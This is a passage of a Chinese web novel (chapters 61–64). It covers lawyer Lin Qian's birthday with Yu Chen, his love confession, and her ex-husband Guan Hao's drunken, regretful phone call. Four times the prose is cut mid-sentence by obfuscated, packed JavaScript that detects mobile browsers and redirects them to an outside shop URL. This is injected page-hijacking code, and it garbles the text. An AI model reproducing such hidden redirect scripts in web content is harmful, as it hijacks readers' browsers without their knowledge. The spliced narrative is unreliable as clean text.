余琛伸出手点了点林茜的额头:“林律师的脑袋呢,要记那些人命关天的大事,这些厨房小事,就交给我好了。不过你不介意的话,可以在我下厨的时候陪在我身边。” “没问题。”林茜爽朗答道。 林茜的行李不多,余琛改了目的地,先带林茜去超市买明天早饭的食材,又去了海鲜市场,买了几只新鲜的花蟹。 林茜爱喝海鲜砂锅粥。这是今天的晚餐。 林茜坚持过生日要有仪式感,路过甜品店时又买了一个小小的奶油蛋糕,蜡烛帽子也一并备齐。麻雀虽小,五脏俱全。 两个人开开心心回了民宿。 民宿的环境不错,是一个loft。洗手间在一层,余琛搬到二层,把一楼的房间让给林茜。 “我一来倒是鸠占鹊巢了。”林茜自嘲。 “但我喜欢。”余琛微笑着说。 林茜被看得有点不好意思,扭过头收拾自己寥寥无几的行李。 余琛去了厨房备菜。 晚餐吃得很舒服。林茜想起第一次和余琛喝砂锅粥,还是拜托他在自己的案子里帮忙。 其实那才是她们重逢后的第三次见面。可能林茜潜意识里就觉得,他一直是那个可以相信的人,始终都是。 白灼菜心爽脆,蜜汁叉烧香糯,林茜吃得不亦乐乎。 余琛宠溺地看着她,终于还是出声提醒:“别吃太饱,留一点肚子给最后一道。” 林茜咽下叉烧,问道:“还有什么呀?” “车仔面。”余琛看着林茜说道。 “哦……”林茜有点心虚,吃得太开心了,差点忘了,寿星要吃长寿面的。 “当年答应你要做正宗车仔面给你吃的。” 林茜怔住,是十年前她们错过的那次。 “茜茜,当年不得已失约,让你白白等了那么久,一直欠你一句对不起。”余琛认真地说。 “我早就不怪你了。”林茜看着余琛,后来知道他当时的坎坷,怎么还会忍心怪他呢。 “但我会怪自己。”当年那个蓝衣白裙的少女落寞的身影,在余琛心头萦绕了十年。 “以后,我再也不会错过给你做饭。你想吃什么我就做什么。不会的,我就去学。我不只想为你做饭,你的饮食起居,我都想照顾。可不可以给我一个机会?”余琛轻轻握住了林茜放在桌上的手。 窗户半开,柔和的风穿过堂中,吹起林茜鬓间的碎发。 林茜颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006978|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,反握住余琛的手:“好。” 两个人看着彼此,十年光阴倏忽而过。过往那些遗憾与空白,终于有机会弥补。 有人欢喜有人愁。 小王和女朋友吵架了,下了班也不着急回去,蔫头耷拉脑地坐在工位上。 关昊看见这般模样,问道:“怎么了小王?” “别提了,惹女朋友生气了。跟我冷战呢。”小王蔫蔫得说。 “因为什么啊?”关昊问。 “相识纪念日,忘了。” 关昊一听这个就头疼:“小女生有时候就是麻烦。等上了班就知道了,哪有功夫天天纪念这个纪念那个的,能记住生日就不错了。”还是林茜好,一心扑在工作上,从来不在这些细枝末节上和他计较。 一句话说得小王深有共鸣,那天加班搞年终总结,完全不记得什么相识纪念日。而且他本身也觉得,这不是什么大不了的日子,只是不敢说罢了。 李莉听到他们的聊天,走过来插话:“关队,那您和嫂子过纪念日吗?” 这话也勾起了小王的兴趣:“是啊,关哥,您忘过什么重要日子没?怎么补救的啊?” 关昊皱眉想着:“她对这些不在意。我们不过什么纪念日的。哦,有一个,结婚纪念日,都有空就出去吃个饭,不是每年都过。” “就光吃饭啊?”小王问。 “啊,不然呢?”关乎反问道。 “那您送礼物吗?”小王问。 “不送啊。” “那餐厅是提前定好的那种特浪漫的餐厅吗?”小王又问。 “不是,就是我们常去的餐厅。都吃习惯了,再找新的也容易踩雷。”关乎理所当然道。 小王不问了。难怪嫂子跑了。 “那七夕呢?还有2月份的情人节,您和嫂子过吗?”李莉问。 “不过,那些都不过。”关昊回道。 “哥,您真是钢铁直男。”小王竖了个大拇指,心里默默引以为戒。 “这些很重要吗?”关昊不确定地问道。以前他很肯定,这些虚的都没用。而且林茜讲究实用主义,确实不在乎这些。 可追回林茜的路上连连受挫,他也有点不确定了,自己是不是有时候神经过于大条了些。 “女孩还是在意这些的吧。”小王说着看向李莉,寻找认同。 “我没过过。”李莉答道。 倒也没说错,她就谈过一段恋爱,几个月就散了,什么生日节日纪念日都没碰上。 “那林茜应该不在意。她是有事直说的人。”关昊放下心来。 “但是有时候吧……”小王有种不知当讲不当讲的感觉:“有的事处于说了矫情,不说又憋屈的状态。有些比较要强的人呢,就不会说出来,还会装作不在乎。等什么时候攒够了,就大爆发一次。” 这是最新的恋爱经验,小王舍己为人贡献出来了,毕竟是亲师父,不希望他在追师母的路上越走越远。 见关昊迷惑,小王索性接着劝道:“而且啊,女人不在意不等于不喜欢啊。你不做不减分,可别人做了加分怎么办?” 一语惊醒梦中人。 是啊,余琛是不是就靠这个上位的? 自己以前,又犯错了? 62. 第 62 章 关昊皱着眉,若有所思。 李莉见机提议:“那要不晚上咱一起吃个饭?正好也给王哥出出主意。” 小王心直口快:“你都没过过这些,能出什么主意?”他看得出李莉醉翁之意不在酒。心里感慨这妹子太有韧性了,还没放弃呢。 关昊无可无不可。反正回去也是一个人,顺口答应道:“行啊,三个臭皮匠顶个诸葛亮。” 仨人又去了烧烤店。 李莉坐下后,悄悄拿出手机,在桌下发着微信:“姐妹们!我出来和大叔聚餐啦!还有一个人,惹女朋友生气了,这顿饭是给他出主意。这个时候应该怎么表现啊?” 王璐秒回:“先静观其变。” 孙佳佳接道:“因为什么惹女朋友生气啊?要是原则问题,正好看看大叔的反应,有的人平常看着挺像个人的,一到大事上才暴露居然是鬼。” “不是原则问题,就是那个朋友忘了纪念日,惹女朋友生气了。”李莉回复。 “哦,那就没啥了。”孙佳佳吃瓜的心思歇了一半:“看看大叔怎么支招也行,以后惹你生气了估计也是这么对你。” 以后惹你生气了……李莉的脸有点红,她和关昊会有这一天吗? “这屋里够热的,你看李莉的脸红的。”小王正在脱外套,一看李莉的脸色说道。 “我是比较怕热。”李莉心虚地应着,然后开启话题:“关队,王哥这事,要是落到您身上,您怎么处理呀?” “哄哄?”关昊看着小王,说着自己都不相信的语气。 小王苦笑:“怎么没哄啊关哥,我就差求她了。但这个事也不是什么大事,我真去求她也太没面子了,就这么冷下来了。” “那是有点作。”关昊点评。 得,关哥是指望不上了。小王心里叹息。 “你呢?要是你摊上这事,比如你男朋友把你生日忘了,怎么哄你能哄好啊?”小王转头又问李莉。 “这个……”李莉冷不防被问了一句,下意识道:“这分人吧……” 要是关队,那不用哄,她自己就能好。别人就不好说了。 “啥?”小王没听明白。 “啊我是说因人而异。对我有用对嫂子不一定啊。”李莉脑筋急转弯解释道。 “这不就是问你的意见吗?我参考参考。你希望你男朋友怎么哄你啊?” 李莉一设想,刚平静下去的脸又开始发烫:“就……抱抱我吧,我喜欢强势一点的……”声音越说越小。 关昊看李莉的反应,不像敷衍,转头问小王:“靠谱吗这建议?” 小王也有点迟疑:“不好说啊。这女人吧,有时候是喜欢强势的,嘴里说不要,心里其实是高兴的。但有时候呢,你越勉强她越反感。尤其我女朋友,她练过跆拳道啊,我都怕她一脚把我废了。”说完好像下面真的一凉,赶紧拿手捂住。 这说了等于没说。两头都让他占了。关昊又回过头,想如果是林茜会怎么样。 他不是没用过这一招。但林茜,好像就挺平静的,看不出高兴还是反感。 “那要是对方没反应呢?”关昊又问。 “什么没反应啊?你抱她没反应?”小王问。 “啊。”关昊有点不自然。 “那可能……就是……没感觉了吧。”小王声如蚊呐。 “去去去,还是李莉说得对,这事因人而异。”关昊自我安慰。 李莉观察着关昊的反应,看来追林茜并不顺利,这是自己的机会。手机屏幕又闪,最强军师周晗禹出现了。 “想办法把话题引到他身上。问他类似的情况怎么解决的。表现出你对他的兴趣。”周晗禹直接给出了操作步骤,还是她一贯的直球风格。 李莉的心扑通扑通跳着。那不就是当众调情吗?自己从没做过。 可不代表不能做。 “关队,那您忘过嫂子的生日吗?”李莉抛出问题。 “忘过一回,还有一回在外地出差。算起来,就给她过过两次生日。”关昊说出来,自己也觉得有些过分了。 如果知道他和林茜只有四年,说什么都会好好珍惜。 神色就有些落寞。 小王看着又觉得,去求求女朋友也不丢人。 李莉又问:“那嫂子是什么反应呢?” “她……”关昊陷入回忆。 林茜什么反应呢?好像没什么太大的反应。 那时候她们两个都太忙了。林茜能成为律所晋升最快的合伙人,是无数个加班的日日夜夜换来的。 “情人节?当然是赚钱重要。”这是去年情人节加班的时候林茜亲口和他说的。 所以他一直以为林茜不在意这些。 忘记她生日那次,是她们结婚的第一年。当时关昊在忙着查一个诈骗的案子,回到家已经晚上10点多了。林茜穿着家居服窝在沙发上看电影,很老的英文片子,还是黑白的,用投影仪投在墙上看。 客厅的灯关了,只留着玄关的一盏灯。茶几上放了一杯花果茶,还有她爱吃的锅巴。 见关昊回来了,林茜从沙发上起来,在冰箱里拿出一个小小的蛋糕,很自然地跟他说:“今天是我生日呢,你要不要吃蛋糕?” “不吃了,你自己吃吧。”关昊疲惫地答了句,转身去洗澡了。 等再出来的时候,林茜已经把东西都收起来了,仿佛那只是一个普普通通的夜晚。 现在回想起来,林茜是在等他回来一起庆祝生日吧? 第二年关昊记得林茜生日了,可不知道该送什么,直接问林茜有什么想要的,他买单。 林茜想了想,似乎是有,但最后还是没说,只说希望他以后在家控制一下自己的情绪,不要动不动就发火。 关昊只当这是托词,回了句:“想起来买什么告诉我。” 直到生日当晚林茜也没说。关昊转了5200给林茜,附言“老婆生日快乐!” 林茜回了句“谢谢。”之后又加了一个心的表情。 关昊觉得这个生日过得挺好,不折腾人。真让他去陪着逛商场,他也挺发怵的。 第三年,也就是今年,林茜生日的时候他在干什么呢? 哦,他在广州出差,查余琛的案子。 “关队?”李莉看着关昊在愣神,出声提醒。 “哦,后面都挺平淡的。就第一年比较有意思,我们恋爱的时候。”关昊答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014924|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非所问:“那时候她连轴加班了一个月,人也有些憔悴。正好那年她生日在周末,我带她去郊区的民宿玩了两天,放松放松,她很高兴。” “真浪漫。”李莉羡慕。 “这个主意不错。”小王也受到了启发。短途旅行说走就能走,花费也不高。而且只要两个人能见面,让女朋友感觉到自己把她放在心上,这个坎总会过去的。 小王也有了信心。 “你也觉得这个好吗?”关昊不确定地问小王。 “好啊。嫂子疲惫的时候最需要的就是放松休闲,您送礼物直接送到心坎上了。”小王说。 “没错,雪中送炭。”李莉附和。 “那您忘了嫂子生日那次,她有怪您吗?”李莉又拉回正题。 “没有。她自己看了电影,吃了蛋糕,没有怪我。”关昊回道。 “真是好女人啊。”小王忍不住赞道。一瞥关昊的神色又赶紧闭嘴。这么好的女人弄丢了,搁谁谁不抓狂。 李莉也无话可说。这事换了她,多少还是得埋怨两句的。 “也许就像你说的,她也攒够了失望,走了吧。”关昊的情绪down下来。 他后知后觉地发现,自己以前真是个混蛋。 第二天,广州天气晴。 林茜和余琛的航班相差两个小时,两人一起去了机场。 余琛先飞泰国,林茜送他。 一起排队过了安检,在候机室里休息,余琛握着林茜的手,总是不愿放开。 林茜由着他,看着他说道:“比赛真的没危险吗?不要受伤哦。” “不会的。”余琛吻了吻林茜的额头:“好好吃饭。不要一忙起来就糊弄自己。” “你都说了一万遍了。”林茜靠在余琛的肩上,手指戳着余琛的胸口。 余琛捉住胸前这只手,放在唇边轻轻吻了吻。林茜的脸有些红,把脸埋在余琛的肩膀上。 余琛看着林茜羞涩的样子,心中柔软,连笑容也带着暖意。 一对恋人相互依偎着坐在休息室里,窗外一架飞机起飞,驶向远方。不知为什么,余琛感觉那架飞机的前途也是光明的。 登机的广播声响起,余琛该走了。他从随身行李里拿出一个包好的礼盒。 “这是什么啊?”林茜奇道。从昨天到今天,她们一直在一起,余琛什么时候准备的。 “是之前就定好的。昨天临时修改了地址,加急发到广州。”余琛示意她打开看。 里面是一件浅蓝色的方领短袖针织衫,和一条纯白伞裙。林茜有些眼熟,但又想不起来在哪见过。 余琛看着她说道:“其实那天,我在的。” 林茜忽然反应过来,这是十年前,余琛失约那天她穿的衣服。 “是香港的一个老裁缝做的,不知道合不合身。我把它送给你,作为道歉的礼物。” 余琛看着林茜的眼睛:“以前我只能躲在角落里,后来回到北京,我想只要能看见你,离你近一点就好了。可是后来我还想要更多,想每天都见到你,想为你做饭,想照顾你起居,想哄你开心,想一辈子陪在你身边。我知道我贪心,可我想我能做得到,只要你愿意。茜茜,我爱你。” 63. 第 63 章 林茜承认,这不是这辈子听过的唯一一次告白,却是最心动的一次。 送走余琛后,心里怅然若失。 这样的感觉,遥远而陌生。 今天是12号,距离自己去泰国还有一周。很快又可以见面了。这么想着,心情又好起来。 林茜找了家咖啡厅,打算在这打发剩下的几个小时。点单时习惯说冰美式,忽然想起余琛的嘱托,又换成了热拿铁。 “你呢,忙起来吃饭就不及时,胃就容易不舒服。尽量喝温热的东西,不要喝冰的。”这是某次和余琛出去吃饭时他嘱咐的。 可是热美式好难喝,像中药,偶尔试试拿铁也不错。 就像身边多了一个知冷知热的人,好像也不错。 心里暖融融的,手机突然在桌上振动。 林茜拿起来一看,关昊发来了微信。 “我今天又给县局打电话问了问,艾灸店的事有点眉目了。钱应该能追回来,你掂量着跟妈说一下吧。”关昊对这事很上心。 “好的,谢谢你。”林茜回道。之后打开手机银行,往妈妈的账户里转了10万。 又给林妈发信息:“妈,最近降温了,你和我爸找个暖和地方出去玩几天吧,我给你转了点钱,你们挑旅行社,找好一点的,别舍不得花钱。另外,关昊刚跟我说,艾灸店的事有眉目了,不用担心,慢慢等消息就是。” 林妈很快回过来:“你的钱自己留着就行,不用给我们。妈也想通了,相信警察,早晚能抓着骗子。” 紧跟着林妈又发来一条:“关昊真是个好孩子,难为他还惦记着,你找机会谢谢人家。别人家忙前忙后的也没啥表示,让人寒心。” 要什么表示?关昊对她余情未了,她态度一温和又会让他产生错觉。 还没想好,关昊的信息又发过来了:“茜茜,能不能麻烦你个事?” 有事相求?这可以,互相帮忙,不欠人情。林茜回道:“什么事?” 关昊:“离婚的事我还没跟爸妈说,你也挺长时间没露面了。能不能等你有时间的时候和我回家吃个饭?就吃个饭就行,等过完年我再告诉她们。” “可是长痛不如短痛,你这样拖下去,结果也不会变的。”林茜婉拒了。 “是,我知道。但我自己也得有个适应的过程,等我先适应了,再去告诉她们。” “抱歉,我和余琛在一起了,我不可以这样做。”长痛不如短痛,只能对不起你了,关昊。林茜感到一丝歉意。 手机安静下来。 再也没有任何回复。 关昊盯着这条信息,悬在头上已久的铡刀终于落下。 这是林茜第一次承认。 林茜从不说谎。 心中那些隐秘的侥幸和期盼,都在这句话中尖叫着被湮灭。 午休时分,关昊坐在工位上。人还是那个人,却已经木然了。 整个下午关昊都很安静。 小王也还没跟女朋友和好。 科里最有存在感的两个人,一个沉默,一个寡言。 连赵诚都察觉出不对了。 “王哥,你怎么啦?是不是不舒服啊?”临下班的时候,赵诚问道。 其实他也想问问关昊,奈何关队看起来太严肃了,没敢问。 “没事。赵诚,有对象了吗?”小王突然问。 “我?没呢!这不等着王哥您给介绍呢嘛。”赵诚笑得有丝谄媚,以为前辈终于想起他的个人问题,要帮忙牵红线。 没想到小王下句话是:“没对象好啊,红尘多可笑,痴情最无聊……”说着说着还唱起来了。 连唱带比划的,手一指正好指到墙上的时钟。得,下班了。 这一出把赵诚看得一愣一愣的:“王哥您怎么啦,是不是烧糊涂了?”说着就拿手去探小王的脑门,嘴里嘀咕着:“这也不热啊。” 小王自觉对牛弹琴:“去去去,不经人事的小屁孩,你懂什么你,还得是关哥经得多见得多,肯定明白我,是吧关哥?”说着一扭身带着椅子转过去,看到一张沉默的脸。 “关哥,您这又是怎么啦?”小王跟了关昊好几年,一眼就看出今天不一般,也顾不上自己伤春悲秋了,关心道。 “下了班有事吗?”关昊问。 “没事,您说,要干什么?随时奉陪!”小王豪气道。 “喝酒。”关昊吐出两个字。 “得——嘞!”小王一口答应。 “加我一个。”李莉在旁边观察半天了,这时候插话道。 “我晚上也没事,关哥。”赵诚憨憨地说。 “我跟我哥喝酒谈心,你俩凑什么热闹?”小王轰人。 “去吧,都去,我买单。”关昊回了句。 就这么着,一行四人,老地方。 烧烤店的老板都认识他们了,打招呼:“来啦?坐吧。” 还是靠窗的位置。窗外黑咕隆咚的天,几盏昏黄的路灯,和匆匆而过的行人。 大家都有家回。 我没有了。关昊想。 李莉这一路上观察着关昊的神色,确定他是遇到什么难处了,此刻终于忍不住问:“关队您怎么了?” “是啊关哥,今天下午都没听见你说话。”小王随口接道。 “林茜,有别人了。”关昊低声说。 啊?就这么说出来了?你不是早就知道了吗?小王脑袋里迅速闪过这三个问题。 “关哥您也别太生气,嫂子离了婚本来也是恋爱自由……”赵诚想劝他想开点,不知怎么越说越不对,又挨了小王一肘子。 “我是不是……没机会了。”关昊整个人好像要碎掉了。 “啊?”赵诚没忍住,又发出疑惑的声音。 李莉则感到一阵心痛。都这样了,还不放手吗?关昊。 小王看了看旁边这俩使不上劲的,叹了口气,给关昊倒上酒:“喝吧,都在酒里了。” 几个人一连干了三杯,还空着肚子,都有点上头了。 “关哥,您也不差啊,嫂子为什么啊?看上那人什么了?”赵诚直白问道。他和李莉一样,在学校里就听过关昊的传说。在她们眼里,关昊当然是最好的。 “那个人您认识吗?”李莉记起林茜去局里那次对余琛的反应,怀着心中的猜测试探问道。 “认识,大家都认识。”关昊抬起头,露出一个难看的笑容:“就是余琛。” “什么?”这下连小王也惊了。 知道她们是旧识,没想到真的在一起了。尤其这刚离婚没多久就在一起,难道之前就?小王不敢往下想了,接着喝酒遮掩了一下自己的表情。 赵诚是直肠子,困惑道:“可他不是涉嫌洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024169|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱吗,虽说后来没查出什么,案子也撤了。但怎么也跟好人不一样吧,嫂子怎么会跟他在一起?” 李莉则问出要害:“她们是不是……以前就有渊源?” 关昊想起那本遥远的食堂爆炸案的笔录,里面林茜清楚地说的三个字“男朋友”。 当年就喜欢他吗? 还是一直喜欢他,从来也没忘过? 那自己和林茜的这些年,又算什么呢? 苦与涩交织,灼烧得五脏六腑不得安宁。关昊又灌下一杯酒。 其他人看在眼里,想劝又不知道劝什么,只能陪着也喝了起来。 四下无言,菜上来了。 烤好的鸡翅膀、牛心管、五花肉、金针菇、酸菜豆皮,满满当当一大托盘。 “来喽——”老板亲自端着过来:“天冷啦,刚烤好的串陪着小酒吃下去,天大的事也忘了,明天睡醒了又是一条好汉。” 不知是不是看到几人的愁眉惨目,老板捎带着劝了一句。 小王最先反应:“说得对!来,趁热吃,吃完喝完就什么都忘了!”空酒瓶都堆了一桌子了,还没怎么吃东西呢,小王有点顶不住了。 见关昊没动筷子,李莉夹了块凉拌黄瓜到他碗里:“关队,您到现在还一口没吃呢。吃点吧,天大的事也没吃饭重要。” “你们吃吧,我没胃口。”关昊低垂着眉眼说道。 “关哥,这人和人啊,有时候就是缘分,缘分到了就走到一起,缘分尽了就分开。您要是使尽浑身解数都没辙,那可能就是跟这个人的缘分尽了。没准您的正缘在前头等您呢。”小王实在没办法,搬出玄学这一套。 这番话却说到了李莉心里,没错,让关队这么伤心的女人一定不是他的正缘。他值得一个真正对他好的人。 关昊却抬起头:“缘分尽了,她就不爱你了吗?你怎么确定你女朋友爱你呢?” “啊?就是……”小王没想到又问回自己身上,思索着答道:“就是,她愿意对我好呗,也愿意我对她好。想跟我多呆在一块,我的家人朋友,她也愿意多认识……”说着有点不好意思了,同时心里还有点甜蜜。 女朋友对自己挺认真的,明天找个由头去见她,赶紧求她原谅。小王在心里想。 朋友家人,也愿意多认识……关昊想起自己和发小的聚会,林茜很少去。至于家人,就更不用提了。 “那她要是不喜欢你的家人怎么办?”关昊又问。 “婆媳问题啊?”小王拧着眉头:“那可是千古难题,我也没什么办法,就只能不住一块吧,少接触。” “关哥,嫂子跟伯母关系不好吗?”赵诚喝了点酒,说话越发直了。 “面上还算客气,但心里疏远。”关昊答道。 “哎呦,那可难了。要是有具体的矛盾,说不准还能调和调和,要是这样,说明就没当成一家人。”小王分析道:“不过也有好处,就是没什么激烈的冲突,最多吵两句,不会搞得鸡飞狗跳的。就是不知道什么时候,突然就散了。”小王喝多了,嘴也没把门的了,想到啥说啥。 关昊闷着头又喝了一杯。 没当成一家人吗? 关昊恍然记起很久以前,林茜办一个什么会员,要填紧急联系人的方式,林茜填的是林妈的电话。 是不是连自己,也没被当成过她的家人? 64. 第 64 章 “阿生从北京过来,明天到。他的心思现在都在经营上面,但我还是想让他多留几天,看看职业比赛。”余琛在电话里和林茜说。 “我猜他至少会分一半心思在认识人脉上。有同行托举,拳馆发展也有背书,就像你去广州参加朋友的店开业一样。”林茜聊道。 “要是他真的喜欢经营,那分一家拳馆给他打理也可以,我打算在北边的区再开一家……” 余琛还没说完,林茜手机里收到一个来电提示,是关昊。 这么晚打来?难道是针灸店诈骗的案子有进展了? “茜茜,你在听吗?”余琛的声音从那头传来。 “我在。有电话进来了,我晚点再打给你。”林茜说。 “好。” 林茜接通了关昊的电话:“关昊?” “林茜……你在哪?”关昊的口齿有些含混。 “我在家,出什么事了?” “是不是只有出事了才能给你打电话?是不是只有看在你爸妈的面子上你才愿意理我?”关昊问道。 “关昊,你喝多了?” “我没多!”关昊吼道:“林茜,我承认,我以前对你不够好,可至少我对你是真心的。我怕你担心,任务危险我从来不告诉你!你喜欢书房,我专门把爸妈来住的客房改成了书房!你的父母我都当自己的父母对待。你妈受骗的案子,我比你还上心!你呢?” 关昊愤怒道:“我把你当成老婆,当成家人。你把我当成家人吗?把我爸妈当成家人吗?我知道你不待见我妈,她一来你就躲书房里,话都不愿意多说一句。我父母那你能不去就不去,你考虑过我的感受吗?” 林茜静静地听着。仿佛光阴倒转,又把她拉回那段低沉窒息的婚姻里。 关昊在气头上,任何辩解都是没用的,不管有没有道理,唯一的后果就是火上浇油。 所以她习惯了平静地听他发泄。 林茜喜欢书房,但并没有一开始就打算把次卧做成书房,而是想把客厅装修成客厅-书房一体式。不要电视、沙发、茶几这些传统家具,而是放一面墙的书架,一张大大的写字台,配上两把舒服的椅子和一些好看的绿植。 那时候她们已经快结婚了,要装修新房,林茜满怀期待地找设计师改图纸。 可是设计方案出来的时候,被老两口一口否决了。 关爸:“客厅没电视怎么行啊?谁家客厅没电视?” 关妈:“就是!沙发也不能没有,要不来人了坐哪?” 林茜想解释,她和关昊很少在家里待客,朋友聚会都是在外面。毕竟是两居,招待不了太多人,而在家宴请朋友的话,做饭和打扫卫生都很麻烦,不如直接去外面。 她打算在餐厅和厨房的连接处装一个小吧台,三两个朋友来了可以坐在那喝酒聊天。 结果还没说出口,关昊就直接同意了爸妈的观点,就按传统的方式来。 找设计师在老人眼里也颇不划算,不如自己直接去家具城淘家具。几张图纸就敢要一万二,这跟往水里撒钱差不多。 彼时的林茜还年轻,房子登记在老两口名下,她自觉没什么立场坚持,就退步了。然后眼睁睁看着客厅被装成了自己不喜欢的模样。 住在合别人心意的房子里,自己当然也没什么归属感。 可她工作又很忙,经常到了家还要加班,确实需要一个书房。所以和关昊商量后就把次卧改成了书房,也放了一张单人床,需要的时候可以应急。 这样一来,父母过来就不方便住了。关昊的父母都在北京,其实主要影响的是林茜的父母。 但这时候提出这一点,关昊大概也不会听进去。 等到关昊那边终于平息下来,林茜冷静地开口:“所以我们离婚了。” “林茜,你总是这么冷静。”关昊低沉的声音像在隐忍着什么:“以前我最喜欢你这一点,什么事交给你,你都能平平稳稳地处理好。可现在我最恨这一点。” 林茜没有说话,关昊又苦笑:“林茜,你有心吗?还是只对我没有心?” “你喝醉了,情绪上头。现在我说什么,你都不会满意。”林茜说道。 “哈,哈哈哈哈哈哈……我看我现在是不是很可笑?我这么要面子的一个人,在你这又哭又笑,你就这么冷淡?可你知道吗,人在自己爱的人面前就是会失控……林茜,你爱过我吗?”说到最后声音里带着哭腔,满腔不甘中又带着一点委屈和请求。 “我嫁给你的时候,是爱你的。但爱也会被消磨。”林茜的声音依旧平稳。 “我知道……是我的错……”关昊的声音弱下来。 “我这么说,不是在怪你。只是在陈述事实。能相伴到老依然恩爱的夫妻是很少的,也是很幸运的,要天时地利人和。我们只是一对普通夫妻而已。” “我们为什么不能相伴到老?我还爱你啊。”关昊的声音有了一丝颤抖。 “但我不爱你了。” “因为你爱上了余琛?” “关昊,”林茜感到头痛:“这个问题我说过很多很多次了,和余琛没有关系。没有余琛,我们也是要分开的。你和我的性格里,都有很强势且不愿割舍的部分,我们磨合不来,只能分开。” “我愿意改的,茜茜。”关昊小声说。 “罐头过期了,就丢掉它,不是想尽一切办法让它重回保质期,这是刻舟求剑,没有用的。关昊,去找一瓶新的罐头吧。你会遇到一个真心对你好的人。”林茜发自内心地说。 “你希望我和别人在一起吗?”关昊闷闷地说。 “我希望你幸福。” “我和你在一起才幸福。”关昊坚持道。 “我没有感觉到从前你有多幸福。关昊,或许你只是接受不了失去,或许只是习惯了有一个人在身边,突然分离产生的戒断反应,就像戒烟一样。”林茜没有说出口的是,她知道一个人真正幸福时是什么样的,她已经见过了。 “你不一样。”关昊还在辩解。 他已经不记得这次醉酒后打电话的初衷了,他现在只想和林茜多说说话,说什么都可以,只要能一直说下去。 林茜也是第一次见识到,一个半醉半醒的人有多难缠。有时候以为他清醒了,耐心地和他讲道理,过一会又变回胡搅蛮缠状态。 其实关昊的酒量不错的,以前也没见过他这样。林茜在心里默默感慨,原来亲近如夫妻也会有彼此看不到的一面。 又感慨幸好离了。 昨晚不知聊到几点。第二天一早关昊头痛欲裂地从床上醒来,依稀记得是小王他们送他回来,把他放到床上就走了。 可他没睡实,后来和林茜聊天来着……和林茜聊天?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033244|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 关昊一个激灵,赶紧查通话记录,竟然说了一个小时? 关昊抓着头发皱眉回想,昨天跟林茜都说了什么? 可越想越想不起来。 不会说了什么不该说的吧? 关昊看着林茜的名字,有心打过去问一问,又退缩了。难怪说酒壮怂人胆,关昊在心里吐槽自己,换了件衣服,上班去了。 到了单位,关昊看见小王,把他抓到走廊里低声问:“我昨天喝了多少啊?我怎么一点印象没有了。” 小王伸出2根手指。 “2瓶?不能够吧。”关昊显然不信。 “咱们4个人,喝了两箱啤酒。”小王说。而且就关哥您自己,喝了就得有一半,这句就不用说出来了。 “是不少,可也不至于醉成这样啊。”关昊还是有点迷惑。 “人一心情不好,就容易醉,也正常。”小王说道。 “我昨天没说什么不该说的吧?”关昊狐疑地看着小王。 “没有,您昨天可沉默了,就一杯接一杯地喝。昨天还说帮我出主意呢,咱四个人都没凑出一个主意,光喝酒了。” “哦。”关昊听小王这么一说,放下心来。看来自己喝醉了嘴也挺严的,没说啥。 那怎么会有一个小时的电话呢? 等到下午,关昊还是忍不住,给林茜发了条信息:“那个,我昨天喝多了,不好意思啊,大晚上的给你打电话,没打扰你吧?” “没有。”过了一个小时,林茜回过来。 关昊盯着这两个字,琢磨林茜的心情。是很日常地回了“没有”,还是很冷淡地回了“没有”,还是正在忙顾不上多说所以言简意赅回了“没有”? 关昊实在拿不准,又发了一条:“我没说什么不该说的吧?” 这次林茜倒是回得很快,还是一样的答复:“没有。” “我看通话记录有一个小时,咱们都聊了些什么啊?”关昊不打算继续瞎猜了,直接打破砂锅问到底。 “你控诉我不够在意你,翻了些旧账。”林茜回道。 关昊捂住脸,完了,丢人丢到林茜那了。 “我没放在心上。不过以后喝醉了,最好不要打给我了。”林茜又发过来一条。 “哦。”关昊呆呆地回了一个字,也实在不知道该说什么了。 何广生是今天的航班,直接带着行李从拳馆出发的。临走前还在安排工作,可谓尽职尽责。 雷劲还是没什么客源,不过因为联系泰国拳赛的事,没被优化。此刻看着他在跟安娜交代工作,心里有些莫名的兴奋。 这些天他可没闲着。也有些收获。 